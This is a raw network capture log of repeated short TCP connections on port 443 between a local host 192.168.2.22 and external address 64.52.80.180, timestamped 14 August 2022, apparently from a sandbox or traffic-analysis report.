Aug 14, 2022 08:40:31.224644899 CEST	49232	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:31.224675894 CEST	443	49232	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:31.228791952 CEST	49232	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:31.228825092 CEST	443	49232	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:31.228877068 CEST	49232	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:31.228885889 CEST	443	49232	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:31.863770008 CEST	443	49232	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:31.863903046 CEST	443	49232	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:31.863986015 CEST	49232	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:31.864002943 CEST	49232	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:31.870876074 CEST	49232	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:31.870917082 CEST	443	49232	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:31.982300043 CEST	49233	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:31.982343912 CEST	443	49233	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:31.982433081 CEST	49233	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:31.983402967 CEST	49233	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:31.983418941 CEST	443	49233	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:32.297113895 CEST	443	49233	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:32.297236919 CEST	49233	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:32.306699038 CEST	49233	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:32.306730986 CEST	443	49233	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:32.311131001 CEST	49233	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:32.311156034 CEST	443	49233	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:32.311228991 CEST	49233	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:32.311249971 CEST	443	49233	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:32.940025091 CEST	443	49233	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:32.940179110 CEST	49233	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:32.940181971 CEST	443	49233	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:32.940231085 CEST	49233	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:32.954303980 CEST	49233	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:32.954344034 CEST	443	49233	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:33.061110973 CEST	49234	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:33.061152935 CEST	443	49234	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:33.061232090 CEST	49234	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:33.061978102 CEST	49234	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:33.061994076 CEST	443	49234	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:33.376198053 CEST	443	49234	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:33.376336098 CEST	49234	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:33.400706053 CEST	49234	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:33.400737047 CEST	443	49234	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:33.405066013 CEST	49234	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:33.405088902 CEST	443	49234	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:33.405138969 CEST	49234	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:33.405145884 CEST	443	49234	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:34.034045935 CEST	443	49234	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:34.034202099 CEST	443	49234	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:34.034389019 CEST	49234	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:34.049861908 CEST	49234	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:34.049907923 CEST	443	49234	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:34.165247917 CEST	49235	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:34.165294886 CEST	443	49235	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:34.165397882 CEST	49235	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:34.166213989 CEST	49235	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:34.166224957 CEST	443	49235	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:34.480156898 CEST	443	49235	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:34.480274916 CEST	49235	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:34.488977909 CEST	49235	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:34.489000082 CEST	443	49235	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:34.495104074 CEST	49235	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:34.495126009 CEST	443	49235	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:34.495212078 CEST	49235	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:34.495220900 CEST	443	49235	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:35.125791073 CEST	443	49235	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:35.125891924 CEST	443	49235	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:35.125984907 CEST	49235	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:35.126013994 CEST	49235	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:35.136466980 CEST	49235	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:35.136497021 CEST	443	49235	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:35.250391960 CEST	49236	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:35.250436068 CEST	443	49236	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:35.250505924 CEST	49236	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:35.251127958 CEST	49236	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:35.251140118 CEST	443	49236	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:35.569411993 CEST	443	49236	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:35.571732998 CEST	49236	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:35.584279060 CEST	49236	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:35.584302902 CEST	443	49236	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:35.589102030 CEST	49236	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:35.589123011 CEST	443	49236	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:35.589168072 CEST	49236	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:35.589174986 CEST	443	49236	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:36.221854925 CEST	443	49236	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:36.221940994 CEST	443	49236	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:36.222099066 CEST	49236	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:36.227772951 CEST	49236	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:36.227798939 CEST	443	49236	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:36.344367981 CEST	49237	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:36.344415903 CEST	443	49237	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:36.344479084 CEST	49237	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:36.345189095 CEST	49237	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:36.345200062 CEST	443	49237	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:36.659588099 CEST	443	49237	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:36.659828901 CEST	49237	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:36.678989887 CEST	49237	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:36.679016113 CEST	443	49237	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:36.682914972 CEST	49237	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:36.682933092 CEST	443	49237	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:36.682981014 CEST	49237	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:36.682991982 CEST	443	49237	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:37.310573101 CEST	443	49237	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:37.310652971 CEST	443	49237	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:37.310743093 CEST	49237	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:37.312769890 CEST	49237	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:37.321358919 CEST	49237	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:37.321394920 CEST	443	49237	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:37.436182976 CEST	49238	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:37.436266899 CEST	443	49238	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:37.436342001 CEST	49238	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:37.436980009 CEST	49238	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:37.437005997 CEST	443	49238	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:37.752320051 CEST	443	49238	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:37.752516985 CEST	49238	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:37.767309904 CEST	49238	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:37.767344952 CEST	443	49238	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:37.771272898 CEST	49238	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:37.771305084 CEST	443	49238	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:37.771341085 CEST	49238	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:37.771354914 CEST	443	49238	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:38.399807930 CEST	443	49238	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:38.399949074 CEST	49238	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:38.399969101 CEST	443	49238	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:38.400055885 CEST	49238	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:38.401665926 CEST	49238	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:38.401700974 CEST	443	49238	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:38.510308027 CEST	49239	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:38.510360003 CEST	443	49239	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:38.510478020 CEST	49239	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:38.511749029 CEST	49239	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:38.511765957 CEST	443	49239	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:38.826832056 CEST	443	49239	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:38.827083111 CEST	49239	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:38.836908102 CEST	49239	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:38.836940050 CEST	443	49239	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:38.841650009 CEST	49239	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:38.841681004 CEST	443	49239	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:38.841716051 CEST	49239	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:38.841728926 CEST	443	49239	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:39.472498894 CEST	443	49239	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:39.472670078 CEST	443	49239	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:39.472783089 CEST	49239	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:39.472819090 CEST	49239	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:39.576390028 CEST	49239	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:39.576440096 CEST	443	49239	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:39.678065062 CEST	49240	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:39.678108931 CEST	443	49240	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:39.678311110 CEST	49240	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:39.679758072 CEST	49240	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:39.679769993 CEST	443	49240	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:39.994055986 CEST	443	49240	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:39.994152069 CEST	49240	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:39.999939919 CEST	49240	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:39.999957085 CEST	443	49240	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:40.004050970 CEST	49240	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:40.004085064 CEST	443	49240	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:40.004132986 CEST	49240	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:40.004148006 CEST	443	49240	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:40.642364979 CEST	443	49240	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:40.642467976 CEST	443	49240	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:40.642529011 CEST	49240	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:40.646061897 CEST	49240	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:40.689835072 CEST	49240	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:40.689889908 CEST	443	49240	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:40.799711943 CEST	49241	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:40.799797058 CEST	443	49241	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:40.799901962 CEST	49241	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:40.804729939 CEST	49241	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:40.804778099 CEST	443	49241	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:41.116075993 CEST	443	49241	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:41.116265059 CEST	49241	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:41.141149044 CEST	49241	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:41.141189098 CEST	443	49241	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:41.145211935 CEST	49241	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:41.145241022 CEST	443	49241	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:41.145319939 CEST	49241	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:41.145334005 CEST	443	49241	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:41.778552055 CEST	443	49241	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:41.778660059 CEST	443	49241	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:41.778794050 CEST	49241	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:41.782141924 CEST	49241	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:41.791465044 CEST	49241	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:41.791512012 CEST	443	49241	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:41.901701927 CEST	49242	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:41.901757956 CEST	443	49242	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:41.901874065 CEST	49242	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:41.902601004 CEST	49242	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:41.902627945 CEST	443	49242	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:42.215147018 CEST	443	49242	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:42.215323925 CEST	49242	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:42.233474970 CEST	49242	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:42.233508110 CEST	443	49242	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:42.237417936 CEST	49242	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:42.237447977 CEST	443	49242	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:42.237488985 CEST	49242	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:42.237500906 CEST	443	49242	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:42.865036011 CEST	443	49242	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:42.865223885 CEST	49242	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:42.865241051 CEST	443	49242	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:42.865297079 CEST	49242	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:42.880673885 CEST	49242	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:42.880723953 CEST	443	49242	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:42.998075962 CEST	49243	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:42.998245001 CEST	443	49243	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:42.998357058 CEST	49243	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:42.999016047 CEST	49243	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:42.999041080 CEST	443	49243	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:43.312412024 CEST	443	49243	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:43.312657118 CEST	49243	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:43.332118034 CEST	49243	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:43.332165956 CEST	443	49243	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:43.339793921 CEST	49243	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:43.339850903 CEST	443	49243	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:43.339885950 CEST	49243	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:43.339900970 CEST	443	49243	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:43.974289894 CEST	443	49243	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:43.974493027 CEST	49243	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:43.974529982 CEST	443	49243	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:43.974569082 CEST	443	49243	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:43.974649906 CEST	49243	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:43.974675894 CEST	49243	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:43.974771976 CEST	49243	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:43.974802971 CEST	443	49243	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:44.091785908 CEST	49244	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:44.091845036 CEST	443	49244	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:44.092813015 CEST	49244	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:44.093450069 CEST	49244	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:44.093465090 CEST	443	49244	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:44.406415939 CEST	443	49244	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:44.406503916 CEST	49244	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:44.412535906 CEST	49244	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:44.412561893 CEST	443	49244	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:44.417094946 CEST	49244	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:44.417119980 CEST	443	49244	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:44.417203903 CEST	49244	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:44.417211056 CEST	443	49244	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:45.046521902 CEST	443	49244	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:45.046611071 CEST	443	49244	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:45.046736956 CEST	49244	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:45.046753883 CEST	49244	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:45.055475950 CEST	49244	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:45.055520058 CEST	443	49244	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:45.167829990 CEST	49245	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:45.167891026 CEST	443	49245	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:45.167984009 CEST	49245	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:45.168715954 CEST	49245	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:45.168737888 CEST	443	49245	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:45.482798100 CEST	443	49245	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:45.484819889 CEST	49245	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:45.502633095 CEST	49245	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:45.502664089 CEST	443	49245	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:45.506638050 CEST	49245	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:45.506660938 CEST	443	49245	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:45.506709099 CEST	49245	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:45.506725073 CEST	443	49245	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:46.141997099 CEST	443	49245	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:46.142190933 CEST	443	49245	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:46.142191887 CEST	49245	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:46.142270088 CEST	49245	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:46.142642021 CEST	49245	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:46.142684937 CEST	443	49245	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:46.257045031 CEST	49246	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:46.257086992 CEST	443	49246	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:46.257189035 CEST	49246	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:46.257863045 CEST	49246	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:46.257873058 CEST	443	49246	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:46.569662094 CEST	443	49246	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:46.569835901 CEST	49246	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:46.591118097 CEST	49246	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:46.591135979 CEST	443	49246	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:46.595308065 CEST	49246	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:46.595319986 CEST	443	49246	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:46.595441103 CEST	49246	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:46.595446110 CEST	443	49246	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:47.233828068 CEST	443	49246	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:47.234031916 CEST	443	49246	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:47.234042883 CEST	49246	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:47.234108925 CEST	49246	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:47.247184038 CEST	49246	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:47.247234106 CEST	443	49246	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:47.359721899 CEST	49247	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:47.359798908 CEST	443	49247	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:47.359885931 CEST	49247	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:47.360452890 CEST	49247	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:47.360486031 CEST	443	49247	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:47.672993898 CEST	443	49247	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:47.673188925 CEST	49247	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:47.691461086 CEST	49247	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:47.691503048 CEST	443	49247	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:47.696787119 CEST	49247	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:47.696822882 CEST	443	49247	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:47.696880102 CEST	49247	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:47.696893930 CEST	443	49247	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:48.334846020 CEST	443	49247	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:48.334988117 CEST	49247	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:48.335001945 CEST	443	49247	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:48.335093975 CEST	49247	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:48.335370064 CEST	49247	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:48.335396051 CEST	443	49247	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:48.457190990 CEST	49248	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:48.457269907 CEST	443	49248	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:48.457354069 CEST	49248	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:48.457947969 CEST	49248	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:48.457983017 CEST	443	49248	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:48.772819042 CEST	443	49248	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:48.773070097 CEST	49248	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:48.787656069 CEST	49248	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:48.787678957 CEST	443	49248	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:48.791583061 CEST	49248	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:48.791590929 CEST	443	49248	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:48.791660070 CEST	49248	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:48.791665077 CEST	443	49248	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:49.427930117 CEST	443	49248	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:49.428107977 CEST	443	49248	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:49.428206921 CEST	49248	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:49.430859089 CEST	49248	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:49.431864023 CEST	49248	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:49.431881905 CEST	443	49248	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:49.544924021 CEST	49249	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:49.544998884 CEST	443	49249	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:49.545079947 CEST	49249	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:49.545641899 CEST	49249	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:49.545675039 CEST	443	49249	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:49.860405922 CEST	443	49249	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:49.860495090 CEST	49249	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:49.867654085 CEST	49249	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:49.867674112 CEST	443	49249	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:49.875015020 CEST	49249	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:49.875032902 CEST	443	49249	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:49.875149012 CEST	49249	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:49.875157118 CEST	443	49249	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:50.507569075 CEST	443	49249	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:50.507725000 CEST	443	49249	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:50.507917881 CEST	49249	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:50.523423910 CEST	49249	443	192.168.2.22	64.52.80.180
